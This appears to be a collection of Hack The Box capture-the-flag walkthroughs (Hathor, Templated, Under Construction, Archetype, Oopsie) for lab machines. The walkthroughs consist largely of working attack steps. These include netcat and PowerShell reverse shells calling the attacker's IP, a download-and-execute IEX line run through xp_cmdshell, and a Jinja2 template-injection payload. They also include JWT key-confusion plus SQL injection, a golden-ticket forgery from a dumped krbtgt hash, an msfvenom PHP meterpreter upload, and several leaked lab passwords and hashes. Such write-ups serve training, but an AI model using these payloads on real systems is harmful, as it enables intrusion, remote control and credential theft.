'' SIG '' ZWL220tkK2KA85W+LLZkEMKl46a72qPX8VI8sEvGXopN
'' SIG '' wkcQCRehQGddrA8ukIYSd2j+eMNPTE5o47Hd8BXLIFjk
'' SIG '' pCviUT/h/A3WRsLHMwsE3QFUsZugITGCAgYwggICAgEB
'' SIG '' MGUwTjETMBEGCgmSJomT8ixkARkWA2h0YjEYMBYGCgmS
'' SIG '' JomT8ixkARkWCHdpbmRjb3JwMR0wGwYDVQQDExR3aW5k
'' SIG '' Y29ycC1IQVRIT1ItQ0EtMQITIAAAAAVE7aootjbd3AAA
'' SIG '' AAAABTAJBgUrDgMCGgUAoHgwGAYKKwYBBAGCNwIBDDEK
'' SIG '' MAigAoAAoQKAADAZBgkqhkiG9w0BCQMxDAYKKwYBBAGC
'' SIG '' NwIBBDAcBgorBgEEAYI3AgELMQ4wDAYKKwYBBAGCNwIB
'' SIG '' FTAjBgkqhkiG9w0BCQQxFgQUaDeRNSAgeSMJNEeLOr89
'' SIG '' iodYIYYwDQYJKoZIhvcNAQEBBQAEggEAWHyN92HohJQT
'' SIG '' GiYsPx/zM7LYDjP0AZPG7OuSwl5OeNhmAmAD2Z+OkYy4
'' SIG '' TLGCThZPxVejgDG0yAyUJNzYcMLVlLROdtwNjSkqQ9IL
'' SIG '' wDya3iI4E0C3xqw7APjfFG288yaYH8gCKx3nzUsFT0pR
'' SIG '' K2l2eSFn+RAOhzHMvfi+8Gf8HgE3unZ/Yh/udLu1aTfG
'' SIG '' nKyz0JDy8hR0RETX5N8tNthiwAa2h4IR0gvgyN8OdiXj
'' SIG '' IYLnt70OCx8POhsdNUAfFFjwzlWpyoBdqifxQlH7qW8U
'' SIG '' UWJd0zS9yauHZNuv2zHTCj/sfOAQDecI2TTjRG2Syf36
'' SIG '' 2T0a0G7c2E/HJDgETEVpgg==
'' SIG '' End signature block
```

So, when this `run.vbs` file is executed it creates an event in the Windows event log ([documentation about eventcreate](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/eventcreate)). I think something picks up that event and executes the `C:\Get-bADpasswords\Get-bADpasswords.ps1` script as a different user. So, if we replace the `Get-bADpasswords.ps1` with a reverse shell and sign it with the certificate, we should get a reverse shell.

First, create a temporary directory with `mkdir C:\Temp` and then run `copy C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Temp\sign.pfx` to copy the certificate. Start a listener wtih `nc -nvlp 3997`. Next, run `cmd.exe /c "echo C:\share\Bginfo64.exe 10.10.14.116 3997 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1"`. Then, import the pfx and sign the script by running the following with the password we found (make sure to run in powershell):

```powershell
certutil -user -p abceasyas123 -importpfx C:\Temp\sign.pfx NoChain,NoRoot
$all_certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $all_certs[0]
```

Now, just run the VBS script with `cscript C:\Get-bADpasswords\run.vbs`. After a few seconds, you should get a reverse shell as `windcorp\bpassrunner`.

## Privilege Escalation (Part 2)

For this part we perform a [Golden Ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket). To do this we need to the NTLM hash of the `KRBTGT` user, an account used for Kerberos. You can learn more about the `KRBTGT` user in [this article](https://blog.quest.com/what-is-krbtgt-and-why-should-you-change-the-password/).

We can run [Get-ADReplAccount](https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/Get-ADReplAccount.md) with `get-adreplaccount -all -namingcontext 'DC=windcorp,DC=htb' -server hathor > hashes` to create a file called `hashes` with the hashes for many accounts.

We run the following commands to determine that the file is 42.8 MB:

```powershell
$file = "hashes"
Write-Host((Get-Item $file).length/1MB)
```

So, we run `nc -nvlp 57010 > hashes` on our machine and `cmd /c "C:\share\Bginfo64.exe 10.10.14.116 57010 < hashes"` on the target too download the file. Tip: Use a command like `watch ls -lh hashes` to watch the file transfer progress.

Looking at the `hashes` file we find that the `krbtgt` NTLM hash is `c639e5b331b0e5034c33dec179dcc792`. Now, we can request a ticket as the `Administrator` user by running `ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb Administrator`.

Then, we store the path to the ticket by running `export KRB5CCNAME=administrator.ccache`. Finally, we run `wmiexec.py -no-pass -k -dc-ip hathor.windcorp.htb windcorp.htb/administrator@hathor.windcorp.htb` to get a shell as the `Administrator` user. Then, just execute `type C:\Users\Administrator\Desktop\root.txt` to get the `root.txt` flag.


# Templated

Navigating to the website simply displays a message "Site still under construction / Proudly powered by Flask/Jinja2." The challenge is called "Templated" and Jinja2 is used so this is a Jinja2 template injection.

Trying to go to a different page, like `/test`, displays an interesting 404 error "Error 404 / The page 'test' could not be found." Trying other pages shows that we have control over the output `'test'` on the 404 page.

Let's try the standard server-side template injection (SSTI): `{{7*7}}`. Navigating to `/{{7*7}}` displays "The page '49' could not be found". So, the url is vulnerable.

We can find an SSTI payload from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2). For instance, `{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}` allows us to execute arbitrary commands.

Navigating to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls').read() }}` displays the contents of the `/` directory: "The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found."

So, let's not `cat flag.txt` by going to `/{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}`. This displays the flag:

`HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}`


# Under Construction

Downloading the source code and digging around reveals the following code in `helpers/JWTHelper.js`:

```js
module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}
```

Both the "RS256" and "HS256" algorithms are allowed for decryption. This is CVE-2016-5431/CVE-2016-10555.

See my ["Cyber Santa is Coming to Town" CTF 2021 writeup for the Naughty or Nice challenge](https://github.com/HHousen/HTB-CyberSanta-2021/blob/master/Web/Naughty%20or%20Nice/README.md), which details this exact exploit. This part of this guide is largely the same as the first part of the "Naughty or Nice" writeup.

The HS256 algorithm is symmetric, which means it uses the sane secret key to sign and verify each message. The RS256 algorithm is asymmetric, which means it uses a private key to sign the message and a public key for verification. However, if we change the algorithm from RS256 to HS256, the backend code will use the public key as the symmetric secret key. In other words, the HS256 algorithm will be used to verify the signature with the public key as the HS256 secret key. We know the public key so we can, in theory, easily modify the JWT and sign it.

However, before we can do this we need to get the JWT token and get the public key. So, make an account on the website, open up your browser's cookie page in the developer tools, and copy the `session` cookie. We can use [JWT.io](https://jwt.io/) or [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool) to decode the cookie.

`python jwt_tool.py "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2NDQ5ODM2MzJ9.E3BfhVQHAM5l9ty1lqu8mYI9GqgaVtTsTtDSaezxXQuCRhBBoiz4KVFNEAxaS7gfnJegVgFSHFgF1UBDFaS6ucVrkUHAz6ERlLZtAx8z1D_pSTsg-f4Euxldj03yq4UBMcH399iIcADUjOXbLhO6Qnw9U309aOW2_NmZDOGZjhYhZewEfHH1kCqHFuaaZisKroV1TUoa-DONxxADlseuGbgXBg081ICspqA7Bw9mvZSNM1P8DplmvPh71UldWU3k2G4t-g3t2SaE07T1l74jlvfJPByXcI52gcgqQtL9zKaicSV0mk0fNcLPmfZqXp30qX0UBf3bd4vhiYfgFY44jg"`:

```
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "RS256"
[+] typ = "JWT"

Token payload values:
[+] username = "test"
[+] pk = "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
"
[+] iat = 1644983632    ==> TIMESTAMP = 2022-02-15 22:53:52 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
```

Fortunately for us, the public key is encoded in the JWT. Let's save that to a file called `pub.key`.

There are an abundance of ways that you can perform the RS256-to-HS256 exploit: [3v4Si0N/RS256-2-HS256](https://github.com/3v4Si0N/RS256-2-HS256), [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool), manually via [JWT.io](https://jwt.io/), by running the commands in [this excellent guide](https://habr.com/en/post/450054/). However, you have to be very careful about newlines in the public key. Anyway, we will use [ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool) in this guide.

We still need to figure out how to get the flag though. Looking at `helpers/DBHelper.js` we see that the `getUser` function is vulnerable to SQL injection:

```js
getUser(username){
    return new Promise((res, rej) => {
        db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
            if (err) return rej(err);
            res(data);
        });
    });
}
```

We can directly control what goes in `${username}`.

So, in `routes/index.js` we see that when someone accesses the main page, we call the `DBHelper.getUser` with the user's `username`, which we control. (The actual decoding of the JWT and getting the username is handled by `middleware/AuthMiddleware.js`.)

```js
router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});
```

Thus, we can perform a SQL injection by changing the username field of the JWT.

Let's use `jwt_tool` to perform the JWT confusion exploit the JWT we got from the website: `python jwt_tool.py [[JWT]] -I -pc username -pv hacked -X k -pk pub.key`. This syntax means the following (read more by running `python jwt_tool.py --help`):

* `-I`: Inject new claims (or in our case update the `username` claim).
* `-pc`: The claim to tamper with.
* `-pv`: The new value to inject into the tampered claim.
* `-X`: Exploit and `k` stands for the key confusion exploit.
* `-pk`: The public key to use for signing the token with the key confusion exploit specified by `-X`.

Putting the new JWT into the website (through the developer tools) produces the erorr message "user hacked doesn't exist in our database," which is exactly what was expected because of the line ``return res.send(`user ${req.data.username} doesn't exist in our database.`);`` in the `router.get('/')` function.

Now we need to figure out what value to put in the `username` value in the JWT so that we can read the database. We are going to want to use a "union select" sql injection since our SQL statement starts with `SELECT * FROM users WHERE username = '[WE CONTROL THIS]'`.

At this point, I ran the command `python jwt_tool.py [[JWT]] -I -pc username -pv [[SQLi Payload]] -X k -pk pub.key` over and over again to generate JWTs with different potential payloads and see what worked. [PortSwigger has a great guide](https://portswigger.net/web-security/sql-injection/union-attacks) on union based SQLi, which I highly recommend reading if you haven't done this type of attack before.

We first determine the number of columns with `' ORDER BY 3--`, which returns `user ' ORDER BY 3-- doesn't exist in our database.`. Next we try `' ORDER BY 4--`, which produces `Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 3`. So, we have 3 columns.

The next step is to determine the data types of those colums so we can find one containing a string: `' UNION SELECT 'a',NULL,NULL--`. With this query the page loads normally but nothing is displayed after "Welcome." Trying the second column with `' UNION SELECT NULL,'a',NULL--` causes the page to load normally and an "a" is displayed after "Welcome." Therefore, we want to select things into the second column.

Next, we look at the "SQLite Injection" page from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#string-based---extract-database-structure) and try to use the `' UNION SELECT sql FROM sqlite_schema--` syntax to extract the database structure. However, this just outputs `Error: SQLITE_ERROR: no such table: sqlite_schema`. A quick online search finds that `sqlite_schema` was renamed to `sqlite_master`. Also, we need to use the correct number of columns and make use of `group_concat`, which returns a string with concatenated non-NULL value from a group (in this case `sql`). So, our injected payload is `' UNION SELECT NULL,(SELECT group_concat(sql) FROM sqlite_master),NULL--`, which produces the following output:

```
CREATE TABLE "flag_storage" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "top_secret_flaag" TEXT ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE "users" ( "id" INTEGER, "username" VARCHAR(255) NOT NULL, "password" VARCHAR(255) NOT NULL, PRIMARY KEY("id") )
```

We see that there is a table called `flag_storage` with a column called `top_secret_flaag`. Let's update our last injected payload to select this flag from the `flag_storage` table: `' UNION SELECT NULL,(SELECT top_secret_flaag from flag_storage),NULL--`. Running this query displays the flag.

`HTB{d0n7_3xp053_y0ur_publ1ck3y}`


# Archetype

HTB - Archetype

1. Scan with `nmap`:

   ```
   kali@kali:~$ nmap -T4 -A -p- 10.10.10.27 
   Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 17:58 EDT
   Nmap scan report for 10.10.10.27
   Host is up (0.042s latency).
   Not shown: 65480 closed ports, 43 filtered ports
   PORT      STATE SERVICE      VERSION
   135/tcp   open  msrpc        Microsoft Windows RPC
   139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
   445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
   1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
   | ms-sql-ntlm-info: 
   |   Target_Name: ARCHETYPE
   |   NetBIOS_Domain_Name: ARCHETYPE
   |   NetBIOS_Computer_Name: ARCHETYPE
   |   DNS_Domain_Name: Archetype
   |   DNS_Computer_Name: Archetype
   |_  Product_Version: 10.0.17763
   | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
   | Not valid before: 2020-05-03T17:16:49
   |_Not valid after:  2050-05-03T17:16:49
   |_ssl-date: 2020-05-03T22:15:41+00:00; +14m18s from scanner time.
   5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
   |_http-server-header: Microsoft-HTTPAPI/2.0
   |_http-title: Not Found
   47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
   |_http-server-header: Microsoft-HTTPAPI/2.0
   |_http-title: Not Found
   49664/tcp open  msrpc        Microsoft Windows RPC
   49665/tcp open  msrpc        Microsoft Windows RPC
   49666/tcp open  msrpc        Microsoft Windows RPC
   49667/tcp open  msrpc        Microsoft Windows RPC
   49668/tcp open  msrpc        Microsoft Windows RPC
   49669/tcp open  msrpc        Microsoft Windows RPC
   Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

   Host script results:
   |_clock-skew: mean: 1h38m18s, deviation: 3h07m51s, median: 14m17s
   | ms-sql-info: 
   |   10.10.10.27:1433: 
   |     Version: 
   |       name: Microsoft SQL Server 2017 RTM
   |       number: 14.00.1000.00
   |       Product: Microsoft SQL Server 2017
   |       Service pack level: RTM
   |       Post-SP patches applied: false
   |_    TCP port: 1433
   | smb-os-discovery: 
   |   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
   |   Computer name: Archetype
   |   NetBIOS computer name: ARCHETYPE\x00
   |   Workgroup: WORKGROUP\x00
   |_  System time: 2020-05-03T15:15:32-07:00
   | smb-security-mode: 
   |   account_used: guest
   |   authentication_level: user
   |   challenge_response: supported
   |_  message_signing: disabled (dangerous, but default)
   | smb2-security-mode: 
   |   2.02: 
   |_    Message signing enabled but not required
   | smb2-time: 
   |   date: 2020-05-03T22:15:33
   |_  start_date: N/A

   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   Nmap done: 1 IP address (1 host up) scanned in 187.16 seconds
   ```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Samba is open so lets see is anonymous login enabled and list the shares

   ```
   smbclient -L \\\\10.10.10.27\\
   anonymous (or use -N in above command for anonymous login)
   ```

   Result: `backups` directory found

   See inside `backups`: `smbclient -N \\\\10.10.10.27\\backups`. There is a dtsConfig file, which is a config file used with SSIS:

   ```
   get prod.dtsConfig
   exit
   cat pro.dtsConfig
   ```

   ```
   ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
   ```

   Result: Contains credientials for user `ARCHETYPE\sql_svc` with password `M3g4c0rp123`.
4. Target is running `Microsoft SQL Server 2017 14.00.1000.00` per the `nmap` scan. Searching for exploit reveals [Rapid 7](https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_payload) and [HackTricks Book](https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server)
   * HackTricks had command to gather info about the service: `nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=ARCHETYPE\sql_svc,mssql.password=M3g4c0rp123,mssql.instance-name=ARCHETYPE -sV -p 1433 10.10.10.27` which was not helpful since it is similar to the `-A` flag.
   * Attempt Metasploit exploit:

     ```
     sudo msfconsole
     search mssql
     use exploit/windows/mssql/mssql_payload
     options
     set username sql_svc
     set password M3g4c0rp123
     set rhosts 10.10.10.27
     set USE_WINDOWS_AUTHENT true
     set payload windows/meterpreter/reverse_tcp
     options
     run
     ```

     Possibly could use `set payload windows/shell_reverse_tcp` Failed.
   * Manual Exploit
     * Let's try connecting to the SQL Server using Impacket's mssqlclient.py: `python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -win`dows-auth\`
     * We can use the `IS_SRVROLEMEMBER` function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges. This will allow us to enable xp\_cmdshell and gain RCE on the host. Let's attempt this, by inputting the commands below.

       ```
       EXEC sp_configure 'Show Advanced Options', 1;
       reconfigure;
       sp_configure;
       EXEC sp_configure 'xp_cmdshell', 1
       reconfigure;
       xp_cmdshell "whoami" 
       ```
     * Save following as `shell.ps1`: `kali@kali:~$ cat shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.15.117",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`
     * Next, stand up a mini webserver in order to host the file. We can use Python: `python3 -m http.server 80`
     * After standing up a netcat listener on port 443: `nc -lvnp 443`
     * We can now issue the command to download and execute the reverse shell through xp\_cmdshell: `xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.117/shell.ps1\");"`
     * A shell is received as sql\_svc, and we can get the user.txt on their desktop.
5. Privilege Escalation
   * As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file: `type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt` Result: `net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!`
   * This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket's psexec.py to gain a privileged shell.

     ```
     kali@kali:~/Downloads/impacket-0.9.21/examples$ python3 psexec.py administrator@10.10.10.27
     Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

     Password: MEGACORP_4dm1n!!
     [*] Requesting shares on 10.10.10.27.....
     [*] Found writable share ADMIN$
     [*] Uploading file tHaoJdVi.exe
     [*] Opening SVCManager on 10.10.10.27.....
     [*] Creating service JESk on 10.10.10.27.....
     [*] Starting service JESk.....
     [!] Press help for extra shell commands
     Microsoft Windows [Version 10.0.17763.107]
     (c) 2018 Microsoft Corporation. All rights reserved.

     C:\Windows\system32>whoami
     nt authority\system
     ```
   * Get flag

     ```
     cd C:\Users\Administrator\Desktop
     type root.txt
     b91ccec3305e98240082d4474b848528
     ```


# Oopsie

HTB - Oopsie

1. `nmap -T4 -p- -A 10.10.10.28`

   ```
   kali@kali:~$ nmap -T4 -p- -A 10.10.10.28
   Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 23:33 EDT
   Warning: 10.10.10.28 giving up on port because retransmission cap hit (6).
   Nmap scan report for 10.10.10.28
   Host is up (0.099s latency).
   Not shown: 65528 closed ports
   PORT      STATE    SERVICE        VERSION
   22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
   | ssh-hostkey: 
   |   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
   |   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
   |_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
   80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
   |_http-title: Welcome
   2736/tcp  filtered radwiz-nms-srv
   4453/tcp  filtered nssalertmgr
   22626/tcp filtered unknown
   46331/tcp filtered unknown
   58456/tcp filtered unknown
   Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   Nmap done: 1 IP address (1 host up) scanned in 899.69 seconds
   ```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Enumerate HTTP
   * Ran `nikto -h http://10.10.10.28`

     ```
     - Nikto v2.1.6
     ---------------------------------------------------------------------------
     + Target IP:          10.10.10.28
     + Target Hostname:    10.10.10.28
     + Target Port:        80
     + Start Time:         2020-05-03 23:20:35 (GMT-4)
     ---------------------------------------------------------------------------
     + Server: Apache/2.4.29 (Ubuntu)
     + The anti-clickjacking X-Frame-Options header is not present.
     + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
     + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
     + No CGI Directories found (use '-C all' to force check all possible dirs)
     + IP address found in the 'location' header. The IP is "127.0.1.1".
     + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
     + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
     + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
     + OSVDB-10944: : CGI Directory found
     + OSVDB-10944: /cdn-cgi/login/: CGI Directory found
     + OSVDB-3233: /icons/README: Apache default file found.
     + 10294 requests: 0 error(s) and 10 item(s) reported on remote host
     + End Time:           2020-05-03 23:49:53 (GMT-4) (1758 seconds)
     ---------------------------------------------------------------------------
     + 1 host(s) tested
     ```
   * **Potential Exploit:** CVE-2019-0211:
     * <https://www.cvedetails.com/cve/CVE-2019-0211/>
     * <https://www.tenable.com/blog/cve-2019-0211-proof-of-concept-for-apache-root-privilege-escalation-vulnerability-published>
     * <https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache>
     * <https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html>
   * Ran `dirbuster` with `http://10.10.10.28:80`, wordlist `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`
4. Dirbuster found login page at `http://10.10.10.28/cdn-cgi/login/admin.php`. ![Screenshot-20200503233429-839x692.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-f6949621382a7827782e73a2bb4cb9f19899a195%2Fcd7cc0a185be432e83a5136bd3a8ef04.png?alt=media)

   ```
   DirBuster 1.0-RC1 - Report
   http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
   Report produced on Sun May 03 23:35:19 EDT 2020
   --------------------------------

   http://10.10.10.28:80
   --------------------------------
   Directories found during testing:

   Dirs found with a 200 response:

   /
   /cdn-cgi/login/

   Dirs found with a 403 response:

   /images/
   /icons/
   /themes/
   /uploads/
   /cdn-cgi/
   /js/
   /css/
   /icons/small/
   /fonts/


   --------------------------------
   Files found during testing:

   Files found with a 200 responce:

   /index.php
   /js/min.js
   /cdn-cgi/login/script.js
   /js/index.js
   /cdn-cgi/login/index.php
   /js/prefixfree.min.js
   /cdn-cgi/login/db.php

   Files found with a 302 responce:

   /cdn-cgi/login/admin.php


   --------------------------------
   ```
5. Credentials of `admin:MEGACORP_4dm1n!!` successfully signin.
6. Analysis with Burp Suite:
   * When going to accounts page:

     ```
     GET /cdn-cgi/login/admin.php?content=accounts&id=1 HTTP/1.1
     Host: 10.10.10.28
     User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate
     Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=branding&brandId=10
     Connection: close
     Cookie: user=34322; role=admin
     Upgrade-Insecure-Requests: 1
     ```

     Result: It might be possible to brute force the id values, and display the user value for another user, such as the super admin account. We can do this using Burp's Intruder module. Click CTRL + i to sent the request to Intruder.
   * We press Clear to remove the pre-populated payload positions, select the Id value (1), and click Add. Next, click on the Payloads tab.
   * We can generate a sequential list of 1-100 using a simple bash loop: ``for i in `seq 1 100`; do echo $i; done``. Paste the output into the Payloads box.
   * ID 30 shows that `super admin` is `86575` ![Screenshot-20200503234934-870x635.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-33c2a98fba9562161b405948eb4bd4f1f859bc76%2F614acba83c8243d8b7d19ab3c83d1bd1.png?alt=media)
   * Go to `Uploads` page and change `Cookie: user=34322; role=admin` to `Cookie: user=86575; role=admin`
7. Use [msfvenom cheatsheet 1](https://netsec.ws/?p=331) to create payload:

   ```
   msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.117 LPORT=24785 -f raw > shell.php
   cat shell.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > shell.php && xclip -selection clipboard -o >> shell.php
   ```

   Uploads directory found before by `dirbuster`: `/uploads/`. Upload the payload using the web portal. ![Screenshot-20200504001507-546x213.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9c2cbd7e3c0fccdc1518835bc6fc4ffb11754872%2F88f06b7756964cea83c0c39117e82436.png?alt=media)

   Open up port to listen on:

   ```
   sudo msfconsole
   use exploit/multi/handler
   options
   set payload php/meterpreter_reverse_tcp
   options
   set LHOST 10.10.15.117
   set LPORT 24785
   run
   ```

   Execute the php file: `10.10.10.28/uploads/shell.php` Result: Meterpreter granted

   ```
   getuid # Server username: www-data
   cd /home/robert
   cat user.txt
   ```

   **User Flag:** `f2c74ee8db7983851ab2a96a44eb7981`
8. Lateral Movement The website records are probably retrieved from a database, so it's a good idea to check for database connection information. Indeed, `db.php` does contain credentials, and we can `su robert` to move laterally.

   ```
   cd /var/www/html/cdn-cgi/login
   ls -la
   cat db.php
   ```

   Result:

   ```
   <?php
   $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
   ?>
   ```

   **Robert Password:** `M3g4C0rpUs3r!`

   Switch users:

   ```
   meterpreter > shell
   Process 5906 created.
   Channel 15 created.
   SHELL=/bin/bash script -q /dev/null
   www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
   su robert
   Password: M3g4C0rpUs3r!
   ```
9. Privilege Escalation
   * Attempt automatic Privilege Escalation

     ```
     background
